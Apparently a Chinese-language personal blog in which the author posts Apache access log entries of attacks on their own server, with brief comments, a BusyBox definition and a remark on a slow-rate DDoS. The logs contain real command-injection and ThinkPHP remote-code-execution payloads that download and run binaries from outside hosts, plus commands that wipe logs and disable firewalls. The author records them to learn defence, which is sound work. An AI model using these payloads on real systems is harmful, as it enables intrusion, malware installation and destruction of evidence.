BusyBox

最近的 log 中出現了很多 busybox 的字串, 好奇的搜尋一下這是什麼

https://zh.wikipedia.org/wiki/BusyBox

截自wiki百科:

BusyBox是一個遵循GPL協定、以自由軟體形式發行的應用程式。Busybox在單一的可執行檔中提供了精簡的Unix工具集，可執行於多款POSIX環境的作業系統，例如Linux（包括Android）、Hurd、FreeBSD等等。由於BusyBox執行檔的檔案大小比較小，使得它非常適合使用於嵌入式系統。

從 Web Log 學習系統漏洞 44

今天的web log 記錄中又發現有趣的東西

1.55.6.214 - - [29/Jun/2019:12:44:30 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://103.83.157.41/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 226 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"

151.72.192.183 - - [29/Jun/2019:13:04:41 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.189.170.165/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 226 "-" "ELEMENT/2.0"

37.6.220.254 - - [29/Jun/2019:17:38:04 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.230.173.232/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 226 "-" "DEMONS/2.0"

79.45.31.73 - - [29/Jun/2019:19:01:27 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://206.189.170.165/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 226 "-" "ELEMENT/2.0"

151.66.2.254 - - [29/Jun/2019:19:16:41 +0800] "GET /login.cgi?cli=aa%20aa%27;wget%20http://68.183.88.126/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 226 "-" "Tron/2.0"

從 Web Log 學習系統漏洞 43

跟之前類似的東西, 只是稍微變化一下, 同樣手法去下載執行檔然後自動執行, 不了解第一個與第三個攻擊的意義(使用不同的php檔?), 來自葡萄牙的傢伙

87.103.14.199 - - [17/Jun/2019:23:22:01 +0800] "GET /public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe%20/c%20powershell%20(new-object%20System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/xfxrucjwcznptjk12592.exe');start%20%SystemRoot%/Temp/xfxrucjwcznptjk12592.exe HTTP/1.1" 404 214 "http://www.w-studio.idv.tw/public/index.php?s=index/think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cmd.exe /c powershell (new-object System.Net.WebClient).DownloadFile('http://fid.hognoob.se/download.exe','%SystemRoot%/Temp/xfxrucjwcznptjk12592.exe');start %SystemRoot%/Temp/xfxrucjwcznptjk12592.exe" "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)"

來談談網頁ddos攻擊

以這個例子來說, 雖然我的Apache Server有裝了阻擋模組, 但是這傢伙很聰明的用一秒內一個或兩個連線, 然後隔個兩三秒再連線的重複步驟, 躲過我設定的嚴格連線條件還是可以找到漏洞鑽進來, 每次都衝到上百條, 最後只好從Apache Server裡面的存取規則去把這網段全封了, 只不過還是可以看到他煩人的連線紀錄...